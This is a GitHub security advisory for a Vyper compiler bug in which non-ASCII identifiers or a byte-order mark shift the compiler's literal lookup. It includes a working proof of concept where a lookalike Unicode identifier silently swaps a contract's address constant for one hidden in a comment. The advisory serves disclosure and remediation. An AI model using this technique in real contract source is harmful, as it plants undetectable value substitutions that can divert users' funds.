All vulnerabilities
GHSA-r3c7-7xwm-6vfw

vyper: Multi-byte identifier characters can silently change literal values

vyper
CVSS
n/aLow
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in0.1.0b12Also 0.1.0b15GitHub
Published6 Oct 2026Updated 6 Oct 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

A multi-byte character, such as a non-ASCII identifier or a byte-order mark, shifts Vyper's source lookup for later literals on the same line. Crafted source can make numeric literals compile with values or types that are not the ones written, without a compiler warning.

Details

In vyper/ast/parse.py, line_index counts characters, but Python's col_offset counts UTF-8 bytes within the line. Each multi-byte character shifts later source slices on that line right by its extra bytes. visit_Num classifies literals and reconstructs hexadecimal, binary and decimal values from these slices. A replacement placed where the slice lands therefore becomes the compiled value, and a plain integer can become a hex literal.

Two triggers are reachable:

  • Non-ASCII identifiers that NFKC-normalize to ASCII, such as fi, foo or 𝚏𝚘𝚘.
  • A byte-order mark at the start of the file, which shifts literals on line 1. It is invisible.

This shares its root cause with GHSA-wvx7-39qj-2g9v: the line table introduced in 0.4.1.

Proof of concept

The identifier uses mathematical monospace letters (4 bytes, 1 character each). They shift the lookup onto the address in the trailing comment:

import vyper

# The identifier uses MATHEMATICAL MONOSPACE letters (4 UTF-8 bytes each),
# which Python normalizes to the ASCII name TREASURY_ADDRESS_FOR_FEES.
source = """𝚃𝚁𝙴𝙰𝚂𝚄𝚁𝚈_𝙰𝙳𝙳𝚁𝙴𝚂𝚂_𝙵𝙾𝚁_𝙵𝙴𝙴𝚂: constant(address) = 0x000000000000000000000000000000000000dEaD                      # 0x00000000000000000000000000000000c0Ffee11

@external
@view
def treasury() -> address:
    return TREASURY_ADDRESS_FOR_FEES
"""

# Same contract with an ASCII identifier
clean = source.replace(source.split(":")[0], "TREASURY_ADDRESS_FOR_FEES", 1)

# The getter's runtime bytecode matches an explicitly substituted contract.
substituted = clean.replace(
    "0x000000000000000000000000000000000000dEaD",
    "0x00000000000000000000000000000000c0Ffee11",
    1,
)

def runtime(code):
    return vyper.compile_code(code, output_formats=["bytecode_runtime"])["bytecode_runtime"]

assert runtime(source) == runtime(substituted)
assert runtime(source) != runtime(clean)

Both assertions pass.

Impact

An attacker able to contribute source code can change an address, selector, byte sequence, integer or decimal constant. Identifier triggers can pass as ordinary letters in review; a byte-order mark is invisible.

Affected versions

| pip range | Notes | | ------------------------ | ------------------------------------------------------------------------------------------ | | >= 0.1.0b1, < 0.1.0b12 | Literals are read using Python's byte offsets. | | = 0.1.0b14 | A parser refactor overwrites the asttokens character offsets with Python's byte offsets. | | >= 0.4.1 | Affected through 0.5.0b1; also unpatched on the inspected master checkout (17e925db). |

0.1.0b12, 0.1.0b13 and 0.1.0b15 through 0.4.0 use character offsets from asttokens and are unaffected.

Remediation

Convert byte offsets to character offsets using each line's own text before slicing, and take literal values from the parser instead of source text. Until fixed, reject non-ASCII characters outside comments and docstrings, including a byte-order mark.

Text from GitHub Advisory Database

Affected versions 3

  • vyper, pip>= 0.1.0b1, < 0.1.0b12GitHub
  • vyper, pip= 0.1.0b14GitHub
  • vyper, pip>= 0.4.1GitHub